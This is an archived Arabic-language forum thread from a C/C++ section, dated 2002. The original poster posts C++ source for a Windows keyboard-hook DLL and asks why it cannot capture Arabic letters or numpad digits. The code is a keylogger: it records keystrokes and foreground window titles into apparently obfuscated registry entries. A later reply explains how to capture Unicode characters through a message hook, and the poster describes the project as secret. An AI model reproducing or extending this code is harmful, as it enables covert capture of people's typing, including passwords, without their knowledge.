الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

اللغه العربية لا تظهر وحتى الارقام الخاصة بلوحة المفاتيح اليمينية ؟

مغلق
بدأه beshoo في 10 يونيو 2002 · 13 رد · 789 مشاهدة · في ارشيف قسم C/C++
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

موضوعي الاول :

البرنامج لا يستطيع ان يتحسس الأرقام التي على لوحة الارقام اليمينية

اي التي لا تعمل الا مع ال NUM LOOK=ON

والحروف العربية لا يمكنها أن يمسكها ولا اعلم ما السبب

ببساطة يمكنه أن يمسك الحروف العربية على أنها إنجليزية

اي ان حرف ال

ب = F

ولا اقدر ان اعرف ما السبب ؟

لا اعلم ما هو السبب ولكن من خبرتي اعلم ان المحارف العربية لها رمز اسكي

خاص بها فهل لهذا دور مع البرنامج

الكود الخاص المرفق مع البرنامج هو كالتالي :

الكود c++

#ifndef _KEYPROC_INCLUDED_
#define _KEYPROC_INCLUDED_

char *keyproc_toi(int i)
{
static char rz[25];
char rrzz[10];
strcpy(rz,crypt.val_strs);
rrzz[0]=((i/1000)%10)+'0';
rrzz[1]=((i/100)%10)+'0';
rrzz[2]=((i/10)%10)+'0';
rrzz[3]=((i/1)%10)+'0';
rrzz[4]=0;
strcat(rz,rrzz);
return rz;
}

__declspec(dllexport) LRESULT CALLBACK keyproc(int code,WPARAM wParam,LPARAM lParam)
{
unsigned char bf[55],bf2[200];
int scan;
int lines;

//MessageBeep(0xFFFFFFFF);
decrypt();

lines=0;
regist_getbin(crypt.reg_data,crypt.val_num,(char*)&lines,sizeof(int));

if(lines==0)
      {
      regist_set(crypt.reg_data,keyproc_toi(lines),"Startup.");
      lines++;
      regist_set(crypt.reg_data,keyproc_toi(lines),"");
      };

if((!(lParam&0x80000000))&&wParam!=0)
  { 
  static HWND lastwnd=NULL;// this is error, but it's working
  if(lastwnd!=GetForegroundWindow())
      {
      lastwnd=GetForegroundWindow();
      bf[0]=0;GetWindowText(GetForegroundWindow(),(char*)bf,50);bf[50]=0;
      strcpy((char*)bf2,"   @@ ");
      strcat((char*)bf2,(char*)bf);
      strcat((char*)bf2," @@");
      lines++;
      regist_set(crypt.reg_data,keyproc_toi(lines),"");
      lines++;
      regist_set(crypt.reg_data,keyproc_toi(lines),(char*)bf2);
      lines++;
      regist_set(crypt.reg_data,keyproc_toi(lines),"");
      };

  bf[0]=(unsigned char)wParam;bf[1]=0;
  if(bf[0]<32){ bf[0]='#'; };
  if(bf[0]>='A'&&bf[0]<='Z'){ bf[0]+='a'-'A'; };

  scan=HIWORD(lParam)&0x7F;
  if(scan==1 ){ strcpy((char*)bf,"[ESC]"); };
  if(scan==14){ strcpy((char*)bf,"[BCK]"); };
  if(scan==15){ strcpy((char*)bf,"[TAB]"); };
  if(scan==28){ strcpy((char*)bf,"[ENTER]"); };
  if(scan==29){ strcpy((char*)bf,"[CTRL]"); };
  if(scan==42){ strcpy((char*)bf,"[LSHIFT]"); };
  if(scan==54){ strcpy((char*)bf,"[RSHIFT]"); };
  if(scan==56){ strcpy((char*)bf,"[ALT]"); };
  if(scan==58){ strcpy((char*)bf,"[CAPS]"); };
  if(scan>58&&scan<68){ strcpy((char*)bf,"[F_]"); bf[2]=(unsigned char)(scan-59+'1'); };
  if(scan==68){ strcpy((char*)bf,"[F10]"); };
  if(scan==87){ strcpy((char*)bf,"[F11]"); };
  if(scan==88){ strcpy((char*)bf,"[F12]"); };
  if(scan==69){ strcpy((char*)bf,"[NUM]"); };
  if(scan==70){ strcpy((char*)bf,"[SCROLL]"); };
  if(scan==71){ strcpy((char*)bf,"[HOME]"); };
  if(scan==72){ strcpy((char*)bf,"[UP]"); };
  if(scan==73){ strcpy((char*)bf,"[PGUP]"); };
  if(scan==75){ strcpy((char*)bf,"[<-]"); };
  if(scan==77){ strcpy((char*)bf,"[->]"); };
  if(scan==79){ strcpy((char*)bf,"[END]"); };
  if(scan==80){ strcpy((char*)bf,"[DN]"); };
  if(scan==81){ strcpy((char*)bf,"[PGDN]"); };
  if(scan==82){ strcpy((char*)bf,"[INS]"); };
  if(scan==83){ strcpy((char*)bf,"[DEL]"); };
  if(scan==12){ strcpy((char*)bf,"-"); };
  if(scan==13){ strcpy((char*)bf,"="); };
  if(scan==26){ strcpy((char*)bf,"{"); };
  if(scan==27){ strcpy((char*)bf,"}"); };
  if(scan==39){ strcpy((char*)bf,";"); };
  if(scan==40){ strcpy((char*)bf,"'"); };
  if(scan==41){ strcpy((char*)bf,"`"); };
  if(scan==43){ strcpy((char*)bf,""); };
  if(scan==51){ strcpy((char*)bf,","); };
  if(scan==52){ strcpy((char*)bf,"."); };
  if(scan==53){ strcpy((char*)bf,"/"); };

  regist_get(crypt.reg_data,keyproc_toi(lines),(char*)bf2);
  strcat((char*)bf2,(char*)bf);
  regist_set(crypt.reg_data,keyproc_toi(lines),(char*)bf2);
  if(strlen((char*)bf2)>60)
       {
       lines++;
       regist_set(crypt.reg_data,keyproc_toi(lines),"");
       };
  };

regist_setbin(crypt.reg_data,crypt.val_num,(char*)&lines,sizeof(int));

HHOOK rkeyhook;
regist_getbin(crypt.reg_data,crypt.val_hook,(char*)&rkeyhook,sizeof(HHOOK));
return CallNextHookEx(rkeyhook,code,wParam,lParam);;
}

#endif

يمكننا ملاحظة الـ

  if(scan==15){ strcpy((char*)bf,"[TAB]"); };

  if(scan==28){ strcpy((char*)bf,"[ENTER]"); };

  if(scan==29){ strcpy((char*)bf,"[CTRL]"); };

  if(scan==42){ strcpy((char*)bf,"[LSHIFT]"); };

  if(scan==54){ strcpy((char*)bf,"[RSHIFT]"); };

  if(scan==56){ strcpy((char*)bf,"[ALT]"); };

وهي خاصة بتحسس بعض المحارف التي لا تتعلق بالحروف وانما بالرموز.

كيف يمكن أن نخدم الحروف العربية

و الارقام التي تشمل لوحة اليمينية ؟

#2

وانا أبحث عن حل منطقي للموضوع

خطرت ببالي فكرة الاسكي ؟

لا املك فكرة وافية عنها

وبحثت عن جدول الاسكي العربي

ووجدت هذا

ولكني لم اقتنع :(

:o

#
# Format
# ------
# Column 1: The QWERTY keyboard keys in single quotes.
# Column 2: The Unicode characters it should insert with no spaces in between
#           them.
#

#
# Family: Arabic
# Layout: MS Arabic Windows.  QWERTY keyboard.
#
# 08 August 1999
# Mark Leisher 
#
' '	0x0020
'!'	0x0021
'"'	0x0022
'#'	0x0023
'$'	0x0024
'%'	0x0025
'&'	0x0026
'''	0x0637
'('	0x0028
')'	0x0029
'*'	0x002A
'+'	0x002B
','	0x0648
'-'	0x002D
'.'	0x0632
'/'	0x0638
'0'	0x0660
'1'	0x0661
'2'	0x0662
'3'	0x0663
'4'	0x0664
'5'	0x0665
'6'	0x0666
'7'	0x0667
'8'	0x0668
'9'	0x0669
':'	0x003A
';'	0x0643
'<'	0x002C
'='	0x003D
'>'	0x002E
'?'	0x061F
'@'	0x0040
'A'	0x0650
'B'	0x06440x0622
'C'	0x007B
'D'	0x005B
'E'	0x064F
'F'	0x005D
'G'	0x06440x0623
'H'	0x0623
'I'	0x00F7
'J'	0x0640
'K'	0x060C
'L'	0x002F
'M'	0x0027
'N'	0x0622
'O'	0x00D7
'P'	0x061B
'Q'	0x064E
'R'	0x064C
'S'	0x064D
'T'	0x06440x0625
'U'	0x2035
'V'	0x007D
'W'	0x064B
'X'	0x0652
'Y'	0x0625
'Z'	0x007E
'['	0x062C
''	0x005C
']'	0x062F
'^'	0x005E
'_'	0x005F
'`'	0x0630
'a'	0x0634
'b'	0x06440x0627
'c'	0x0624
'd'	0x064A
'e'	0x062B
'f'	0x0628
'g'	0x0644
'h'	0x0627
'i'	0x0647
'j'	0x062A
'k'	0x0646
'l'	0x0645
'm'	0x0629
'n'	0x0649
'o'	0x062E
'p'	0x062D
'q'	0x0636
'r'	0x0642
's'	0x0633
't'	0x0641
'u'	0x0639
'v'	0x0631
'w'	0x0635
'x'	0x0621
'y'	0x063A
'z'	0x0626
'{'	0x003C
'|'	0x007C
'}'	0x003E
'~'	0x0651

#
# Custom additions added locally.
#
Ctrl+','	0x003C
Ctrl+'.'	0x003E
Ctrl+'['	0x005B
Ctrl+']'	0x005D
Ctrl+'j'	0x200D
Ctrl+'l'	0x200E
Ctrl+'n'	0x200C
Ctrl+'r'	0x200F
Ctrl+'{'	0x007B
Ctrl+'}'	0x007D

ما رايكم يا شباب ؟;)

#3

و الله السي++ على الدوس احس انها مستحيل تقريباً و لكن

على الوندوز فالفجول سي++ و السي++ بلدر تدعم ذلك و بسهولة.

مع تحياتي ,,,

#4

الكود مكتوب فيجوال c++ وعلى محرر مايكروزفت :D

فجول ستديو

#5

؟؟؟؟؟؟؟؟؟؟؟؟؟؟

#6

الحروف العربية في Windows تخزن في 2 char و تعامل بطرق كثيرة منها طريقة ال unicode و Arabic Windows Code Page و التي تقريبا بدئت تنتهي

اهتم بال unicode لالتقاط الاحرف ، انا الان لا توجد اية فكرة لدي ما هو الامر الذي سوف يستقبل لك الحرف من لوحة المفاتيح و لكنه سوف يخزن في النهاية في 2 char لانه 16 بت

#7

واخيرا رد مقنع

طيب بنظرك اخي خضر

لو حببت ان اعدل على الكود ؟

فما هي البداية

وقصة الارقام تبع اللوحة اليمينة ؟؟؟؟؟؟؟

شوحلتها ؟

#8

الكود غير واضح كثيرا بس أنا فهمته بشكل عام ...

بالنسبة لل KeyboardProc callback فإنه يستقبل متحولات ScanCode وهذه تمثل أزرار الكيبورد ولا تمثل المحارف العربية أو الانجليزية .. هي تعطيك المحرف الانجليزي الكبير فقط ولا تعطيك حرف صغير مثلا إذا لم تكن ال capslock مفعل ..

الحل الثاني هو استخدام Hook عام لجميع الرسائل مثل WH_GETMESSAGE أو WH_MSGFILTER . وعندها يمكنك أن تأخذ الرسالة WM_CHAR عندما تريد وسوف يصلك المحرف ك unicode متكون من 2 byte وممكن أن تسجله كمحرف عربي أو انجليزي أو صيني أو أي شئ ..

أيضا يوجد أمر هام .. حتى في ال unicode يمكنك أن تسجل بايت واحد فقط للمحرف العربي والانجليزي ويعمل كل شئ على مايرام وذلك في حالة كان ال Windows مفعل على Arabic as Default .. أما إذا كان معمول English as default فإن المحرف العربي يتكون من بايتين والبايت العلوي يكون كواصف لنوع المحرف مثلا Arabic - Saudi Arabia أو غيرها ..

يجب الانتباه عند التعامل مع ال unicode فيفضل استخدام wchar_t بدلا من char لأن char هي 1 byte أما الأولى فتتكون من 2 بايت . طبعا أيضا يجب الانتباه عند اختيار دوال السي القياسية عند التعامل مع ال wide characters . مثلا استخدم wcscpy بدلا من strcpy وهكذا ..

طبعا يمكن بناء برامج ممكن أن تترجم في كلا ال unicode و العادي وهذا أيضا يحتاج إلى شرح مطول ..

أتمنى أن يكون هذا ماتريد ..

Coding on the Cloud and for the Cloud!

My Blog

#9

أمر آخر ;)

أرجو التوضيح هذه الجملة :

"الكود مكتوب فيجوال c++ وعلى محرر مايكروزفت "

هل تقصد أن محرر الفجوال سي زفت؟؟؟؟؟؟؟؟؟؟؟؟؟

Coding on the Cloud and for the Cloud!

My Blog

#10

اهلين هاني :D

ابو شريك

لا تفهمني غلط

انا عم قول عن مايكرو سفت انها زفت

بس المحرر هذا غلطة مايكورزفت :D

لانو قمة بالروعه و الإتقان

بصراحة بحب محرر البورلاند كمان بس تبع مايكرو سفت اسهل :)

شكرا كتير للنصائح

بس والله أنا تعقدت كتير كتير من هالمشروع

بصراحة مو انا يلي كاتبة

انا عم طور علية

يعني كما قلت لكم برسالتي الترحيبية لساتي مبتدء يعني هه ساويت لعبة صغيرة طيارة ودبابة عم تلحقها

يعيني شغل _X

Y_

if

وهالشغلات التافهه :cool:

بس بالنسبة لهذا فكان خطوة كتير متقدمة

يلي بدي منك تعطيني المفتاح

يعني شو ساوي مثلا لالقط محرف ال ب

هذا من ناحية العربي

بالنسبة للبياتات ما بتفرق بايت ولا تنين عادي :D

بس اهم شي شغلة العربي

الشغلة التانية يلي انت ما تطرقت لها

كيف بدي اخذ أرقام لوحة المفاتيح التي على اليمين ؟

هاي مو عربي ولا هم يحزنون ؟

بس ما عم تتاخذ الله ياخذو :D

وهي اهم من العربي شريك :)

شكرا هاني كتير :D

#11

شريك يعني عم بقصد شغلة

ما بدي تقل عليك

بس فيك تعطيني مثال

يعني تعدل على سطر بالكود وتقلي كيف

معليش شوي شوي علي منيح اني فتت بهالمجال

ما بدي انصدم من البداية (clock) (gift)

#12

أهلين أبو شريك .. :)

أنت مابدك اياني أعطيك المفتاح .. أي هذا الباب .. ;)

بالنسبة لمفاتيح الأسهم اليمينية .. فماأكذب عليك أنو ماعندي أنا مفاتيح يمينية حاليا حتى أجرب عليها .. بس أنصحك أنك تعمل التالي ..

تعمل برنامج يظهر قيمة ال scancode المكبوس في messagebox ومنه تعرف قيمة الscancode للزر ياللي بدك اياه ..

بالنسبة لكود فمستحيل أعدل فيه لأن الكود فايت ببعضو وفي اضافات على الفاضي .. أنا راح أظبطلك كود صغير على فضاتي .. بس أنت وين بدك تحط الأحرف المكبوسة وشو هو البرنامج يعني حتى أعرف شو القصة .. أرسلي على إيميلي إذا كانت الشغلة سرية ;)

هذا كلو على حسب فضاتي ..

وبعدين إذا أنت بتشتغل بشركة بتحبني أقلك عليها زفت ؟؟؟؟؟ :rolleyes:

Coding on the Cloud and for the Cloud!

My Blog

#13

الشغلة والله سرية شوي :)

برسل لك كل التفاصيل وبخبرك تمام عن الشغلة

انت شامي مو هيك

ساكن بالشام شريك ؟؟

شيك انا ايميلي

info@phpyes.com

ارسلي من شان رد عليك بكل التفاصيل

مع كل الكود :)

اسف شريك من شان ما يكرو سفت بس جد تخنوها شوي :)

#14

أبو شريك إن كان أصدك أني شامي يعني من بلاد الشام فأي لأني من سوريا .. أما أني دمشقي فلأ لأني حمصي :)

راح أرسلك رسالة هلأ ...

Coding on the Cloud and for the Cloud!

My Blog

هذا الموضوع مغلق.

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…